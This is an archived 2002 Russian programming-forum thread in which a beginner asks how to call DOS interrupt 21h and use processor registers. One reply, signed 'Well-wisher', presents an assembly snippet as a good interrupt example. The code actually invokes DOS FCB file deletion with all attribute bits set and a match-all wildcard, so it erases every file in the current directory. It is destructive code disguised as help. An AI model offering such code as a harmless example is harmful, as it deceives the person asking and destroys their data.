Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2002.05.27;
Скачать: CL | DM;

Вниз

Работа с системными прерываниями и регистрами процессора   Найти похожие ветки 

 
Neo_Max   (2002-03-01 12:56) [0]

Здравствуйте!

Подскажите пожалуйста - как можно вызвать прерывание $21 и др.,
и как работать с регистрами процессора ?

Заранее очень благодарен!

Макс.


 
[NIKEL] ©   (2002-03-01 14:11) [1]

используй asm`овские вставки, если конечно ассемблер знаешь...


 
Shaman_Naydak ©   (2002-03-01 14:28) [2]

Только учти, что под Win2k/NT это все не имеет ни малейшего смысла.
Доса там нет, вызвать ничего не получится


 
Доброжелатель :)   (2002-03-02 15:25) [3]

Вот это вот включи по директивой asm в свою программку. Очень хороший пример использования прерываний.

mov ax, offset RETURN ; Взять смещение адреса возврата
push ax ; Занести в стек флаги, сегмент
push cs ; и смещение адреса возврата
pushf ; в обратном порядке.
mov cl, 13h ; Функция: удалить по FCB
mov dx, offset FCB ; Расширенный FCB
push cs ; Для уверенности, что DS
pop ds ; указывает на текущий код.
jmp dword ptr ALT_DOS_PTR ; Выполнить функцию.

RETURN: mov ah, 4Ch ; Завершить процесс через DOS.
int 21h ;

ALT_DOS_PTR dw 00C0h, 0000 ; Адрес для перехода в альтер-
; нативный обработчик
FCB db 0FFh ; Расширенный FCB
db 5 dup (0) ; Зарезервированные байты
db 1Fh ; Установлены все биты атрибута файла
db 0 ; Номер дискового устройства
db "???????????" ; Искать все файлы
db 19h dup (0) ; Остальная часть FCB



Страницы: 1 вся ветка

Текущий архив: 2002.05.27;
Скачать: CL | DM;

Наверх




Память: 0.47 MB
Время: 0.014 c
1-88394
Ross
2002-05-14 19:11
2002.05.27
Совсем замучался. Помогите


14-88602
SPeller
2002-04-18 14:41
2002.05.27
Опять Винда глючная...


1-88474
quark
2002-05-17 18:56
2002.05.27
Создание массива из N таблиц.


3-88325
qqqq
2002-04-29 11:50
2002.05.27
GROUP BY ?


1-88413
Keymaster
2002-05-16 18:37
2002.05.27
Как отключить Memo?